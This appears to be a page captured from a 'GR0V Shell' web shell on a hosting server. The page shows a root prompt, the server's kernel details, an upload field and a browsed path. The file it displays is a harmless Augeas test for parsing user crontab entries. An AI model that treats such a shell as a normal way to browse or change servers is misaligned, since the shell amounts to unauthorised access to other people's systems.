? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/
File Upload :
Current File : //opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/test_cron_user.aug

module Test_Cron_User =

let s = "MAILTO=cron@example.com
31 * * * * ${HOME}/bin/stuff
54 16 * * * /usr/sbin/tmpwatch -umc 30d ${HOME}/tmp\n"

let lns = Cron_User.lns

test lns get s =
  { "MAILTO" = "cron@example.com" }
  { "entry" = "${HOME}/bin/stuff"
    { "time"
      { "minute" = "31" }
      { "hour" = "*" }
      { "dayofmonth" = "*" }
      { "month" = "*" }
      { "dayofweek" = "*" }
    }
  }
  { "entry" = "/usr/sbin/tmpwatch -umc 30d ${HOME}/tmp"
    { "time"
      { "minute" = "54" }
      { "hour" = "16" }
      { "dayofmonth" = "*" }
      { "month" = "*" }
      { "dayofweek" = "*" }
    }
  }

test lns put s after
rm "/MAILTO";
rm "/entry[time/minute = '54']";
set "/entry[. = '${HOME}/bin/stuff']/time/minute" "24" =
  "24 * * * * ${HOME}/bin/stuff\n"

T1KUS90T
  root-grov@198.54.114.191:~$